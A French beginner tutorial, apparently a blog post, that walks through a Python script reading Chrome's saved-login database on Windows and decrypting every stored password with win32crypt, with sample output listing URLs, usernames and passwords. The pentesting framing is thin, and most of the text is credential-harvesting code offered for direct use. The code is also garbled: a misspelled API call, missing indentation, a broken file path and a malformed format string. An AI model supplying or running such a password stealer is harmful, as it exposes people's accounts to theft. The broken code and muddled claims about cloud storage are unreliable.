Extraire les mots de passe Chrome stockés et les décrypter à l’aide de Python

Google Chrome dispose d’une fonction de gestionnaire de mots de passe intégrée qui stocke tous les mots de passe sur le cloud via un fichier de base de données SQLite et un appareil local à partir duquel vous pouvez obtenir les mots de passe. Vous pouvez utiliser du code Python, des bibliothèques tierces pour siphonner toutes ces informations, puis les décrypter en mots de passe en clair ! Dans ce didacticiel convivial pour les débutants, nous allons écrire du code Python pour extraire les mots de passe enregistrés du navigateur Chrome sur une machine Windows. Ce didacticiel vous aidera à extraire les mots de passe Chrome stockés et à les décrypter à l’aide de Python.

Mais d’abord, discutons du but et du contexte de ce tutoriel. Sur de nombreux systèmes d’exploitation, principalement Windows et MacOS, Google Chrome stocke les mots de passe enregistrés de ses utilisateurs dans une base de données. Chrome dispose d’une fonction de gestionnaire de mots de passe intégrée qui stocke tous les mots de passe à la fois dans le cloud via un fichier de base de données SQLite et sur votre système local, à partir duquel vous pouvez obtenir les mots de passe. Nous allons utiliser du code Python, des bibliothèques tierces et un peu d’huile de coude pour extraire toutes ces informations, puis les décrypter en mots de passe en clair !

Il s’agira d’un script Python permettant d’extraire les mots de passe enregistrés du navigateur Google Chrome pouvant être utilisés par toute personne travaillant dans le domaine de la cybersécurité, des tests de pénétration du réseau, de l’analyse de la sécurité des logiciels, de l’audit de la sécurité informatique ou de la criminalistique. Cela peut vous faire gagner beaucoup de temps car vous n’avez pas à collecter manuellement la liste des mots de passe enregistrés et leurs emplacements, il vous suffit d’exécuter le script et il fera tout le travail pour vous.

Pour des raisons de sécurité, Chrome stocke ses mots de passe de manière très sûre, les rendant illisibles. Donc, pour récupérer les données stockées dans Chrome, nous devons les décrypter et les simplifier un peu pour rendre la base de données lisible. Pour ce faire, vous aurez besoin de win32crypt, qui est un décodeur et la partie la plus importante pour que cette application fonctionne ; vous pouvez l’installer avec la commande suivante en exécutant l’invite de commande.

pip3 install pywin32

Si vous rencontrez des problèmes lors de la mise à niveau, vous pouvez également essayer d’exécuter :

python3 Scripts/pywin32_postinstall.py -install

Nous allons également travailler avec SQLite sur ce projet, mais il est préinstallé sur la plupart des systèmes Windows et Mac.

Codage de l’application

Maintenant, commençons à créer l’application elle-même, mais avant de nous assurer que vous avez tous les prérequis spécifiés ci-dessus. Allez dans le répertoire de votre choix et créez un fichier appelé passwords_extractor.py ou tout ce que vous voudrez et collez-y le code suivant :

import os
import sqlite3 
import win32crypt  

Ce sont nos blocs de départ pour faire quoi que ce soit dans le projet ; ici, nous avons importé win32crypt, c’est la partie principale qui nous aidera à obtenir le mot de passe essentiellement, sqlite3 pour accéder à la base de données et effectuer des requêtes SQL et os pour obtenir les fichiers de la base de données.

def get_chrome(): 

data_path = os.path.expanduser('~') + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

La fonction def get_chrome(): ici sera notre fonction principale pour obtenir les fichiers de base de données stockés au plus profond de votre système de fichiers. Le chemin ci-dessus devrait fonctionner pour presque tous les systèmes basés sur Windows.

Le chemin sur les systèmes basés sur Mac devrait être quelque chose comme ceci « ~/Library/Application Support/Google/Chrome/(Default|{PROFILE})/Login Data »

Remarque : Si vous voulez vous assurer que le chemin est correct (sur Windows au moins), vous pouvez accéder au fichier en appuyant sur « win + r », et une fenêtre contextuelle devrait apparaître, tapez « % APPDATA% », appuyez sur Entrée et un fichier devrait apparaître. Vous pouvez naviguer ici pour voir si le fichier « Données de connexion » est ici ou non.

c = sqlite3.connect(data_path)
# connecting to the database through the variable 'c'

cursor = c.cursor()
select_statment = 'SELECT origin_url, username_value, password_value FROM Logins'
# here we are using the 'SELECT' statement to get the values 'FROM' another value in the database provided above

cursor.execute(select_statment)
# this is to execute the SQL query and get the values from the database

login_data = cursor.fetchall()
# this is to fetch all data from the database

Ici, select_statment à l’intérieur de cela, nous utilisons l’instruction ‘SELECT’ pour spécifier les données dont nous avons besoin ‘FROM’ une autre valeur dans la base de données appelée Logins. Et après avoir récupéré les données dans cette base de données, nous pouvons trouver chaque compte stocké à partir duquel nous pouvons récupérer son mot de passe enregistré en une seule fois.

cred = {}

string = ''

for url, user_name, pwd in login_data:
pwd = win32crypt.CrypyUnprotectData(pwd)
cred[url] = (user_name, pwd[1].decode('utf8'))
# we have the pwd'[1]' above to index it to 1 because if we don't, we'll get some extra baggage which we don't require for this project
string += '\n[+] URL:%s USERNAME:%s PASSWORD:%\n' % (url,user_name,pwd[1]. decode('utf8'))
print(string)

Ici, dans cred[url], nous spécifions sous quelle forme nous voulons que les données soient. Étant donné que la base de données a été cryptée, nous décryptons les données ici également via win32crypt que nous avons tout importé. Ici, nous avons également passé les données dans une valeur de chaîne pour qu’elles affichent les résultats sur une ligne propre.

if __name__=='__main__':
get_chrome()

Et enfin, ajoutez ceci pour terminer la fonction et imprimer les résultats. Ci-dessous la mise en œuvre.

import os
import sqlite3 
# for accessing the database and doing SQL queries

import win32crypt 
# this is the main part that will help us get the password basically

def get_chrome(): 
# this will be our main function to get the passwords and user names

data_path = os.path.expanduser('~') + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
# here 'r' is necessary to put in front of the path because it contains slashes '\'
# this is the path to the Chrome browser database where the passwords are stored on most Windows-based system

c = sqlite3.connect(data_path)
# connecting to the database through the variable 'c'

cursor = c.cursor()
select_statment = 'SELECT origin_url, username_value, password_value FROM Logins'
# here we are using the 'SELECT' statement to get the values 'FROM' another value in the database provided above

cursor.execute(select_statment)
# this is to execute the SQL query and get the values from the database

login_data = cursor.fetchall()
# this is to fetch all data from the database

cred = {}

string = ''

for url, user_name, pwd in login_data:
# here we are specifying what data we need from login_data
pwd = win32crypt.CrypyUnprotectData(pwd)
cred[url] = (user_name, pwd[1].decode('utf8'))
# we have the pwd'[1]' above to index it to 1 because if we don't, we'll get some extra baggage which we don't require for this project
string += '\n[+] URL:%s USERNAME:%s PASSWORD:%\n' % (url,user_name,pwd[1]. decode('utf8'))
# by doing this we'll get the results in a clean one-line string
print(string)


if __name__=='__main__':
get_chrome()

Et c’est fait, vous pouvez l’exécuter avec python passwords_extractor.py ou n’importe quel nom qui aurait pu être donné au fichier dans l’invite de commande où vous avez conservé votre fichier de projet, exécutez-le et vous devriez voir un résultat comme ceci :

C:\Users\Windows\Desktop> python Password_extractor.py

[+] URL:https://accounts.google.com/signin/v2/s1/pwd USERNAME:admin.geekyhuman.com PASSWORD:[email protected]

[+] URL:https://accounts.google.com/signin/v2/s1/pwd USERNAME:admin.geekyhuman.com PASSWORD:[email protected]

Remarque : Vous devez fermer chrome avant d’exécuter la commande ou cela vous donnera une erreur sqlite3.OprationalError : la base de données est verrouillée.

Et c’est tout! C’est ainsi que vous pouvez extraire les mots de passe Chrome stockés et les décrypter à l’aide de Python. J’espère qu’il vous a été facile de comprendre et d’implémenter le code.

Voici quelques tutoriels utiles que vous pouvez lire :

Spread the love
 
   

Laisser un commentaire